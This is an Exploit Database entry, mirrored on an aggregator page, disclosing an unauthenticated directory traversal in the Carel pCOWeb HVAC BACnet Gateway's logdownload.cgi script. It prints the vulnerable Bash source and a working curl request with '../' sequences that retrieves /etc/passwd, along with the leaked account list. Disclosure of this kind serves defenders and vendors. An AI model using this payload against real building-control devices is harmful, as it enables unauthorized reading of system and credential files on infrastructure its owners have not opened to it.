Carel pCOWeb HVAC BACnet Gateway 2.1.0 – Directory Traversal

• Exploit Database
• 12 阅读

• 作者： LiquidWorm
  日期： 2022-07-29
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50986/

• # Exploit Title: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal
  # Exploit Author: LiquidWorm
  
  
  Vendor: CAREL INDUSTRIES S.p.A.
  Product web page: https://www.carel.com
  Affected version: Firmware: A2.1.0 - B2.1.0
  Application Software: 2.15.4A
  Software version: v16 13020200
  
  Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R
  applications and systems. It consists of programmable controllers, user interfaces,
  gateways and communication interfaces, remote management systems to offer the OEMs
  working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced
  to the more widely-used Building Management Systems, and can also be integrated into
  proprietary supervisory systems.
  
  Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
  Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script
  is not properly verified before being used to download log files. This can be exploited
  to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
  
  =======================================================================================
  /usr/local/www/usr-cgi/logdownload.cgi:
  ---------------------------------------
  
  01: #!/bin/bash
  02:
  03: if [ "$REQUEST_METHOD" = "POST" ]; then
  04: read QUERY_STRING
  05: REQUEST_METHOD=GET
  06: export REQUEST_METHOD
  07: export QUERY_STRING
  08: fi
  09:
  10: LOGDIR="/usr/local/root/flash/http/log"
  11:
  12: tmp=${QUERY_STRING%"$"*}
  13: cmd=${tmp%"="*}
  14: if [ "$cmd" = "dir" ]; then
  15: PATHCURRENT=$LOGDIR/${tmp#*"="}
  16: else
  17: PATHCURRENT=$LOGDIR
  18: fi
  19:
  20: tmp=${QUERY_STRING#*"$"}
  21: cmd=${tmp%"="*}
  22: if [ "$cmd" = "file" ]; then
  23: FILECURRENT=${tmp#*"="}
  24: else
  25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
  26: FILECURRENT=lastlog.csv.gz
  27: else
  28: FILECURRENT=lastlog.csv
  29: fi
  30: fi
  31:
  32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
  33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
  34: cat carel.inc.html
  35: echo "<center>File not available!</center>"
  36: cat carel.bottom.html
  37: exit
  38: fi
  39:
  40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
  41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
  42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
  43: echo -ne "Content-Type: text/csv\r\n"
  44: else
  45: echo -ne "Content-Type: image/svg+xml\r\n"
  46: fi
  47: else
  48: echo -ne "Content-Type: image/bmp\r\n"
  49: fi
  50: else
  51: echo -ne "Content-Type: application/x-gzip\r\n"
  52: fi
  53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
  54:
  55: cat $PATHCURRENT/$FILECURRENT
  
  =======================================================================================
  
  Tested on: GNU/Linux 4.11.12 (armv7l)
   thttpd/2.29
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2022-5709
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php
  
  
  10.05.2022
  
  --
  
  
  $ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd
  
  root:x:0:0:root:/root:/bin/sh
  daemon:x:1:1:daemon:/usr/sbin:/bin/false
  bin:x:2:2:bin:/bin:/bin/false
  sys:x:3:3:sys:/dev:/bin/false
  sync:x:4:100:sync:/bin:/bin/sync
  mail:x:8:8:mail:/var/spool/mail:/bin/false
  www-data:x:33:33:www-data:/var/www:/bin/false
  operator:x:37:37:Operator:/var:/bin/false
  nobody:x:65534:65534:nobody:/home:/bin/false
  guest:x:502:101::/home/guest:/bin/bash
  carel:x:500:500:Carel:/home/carel:/bin/bash
  http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
  httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
  sshd:x:1000:1001:SSH drop priv user:/:/bin/false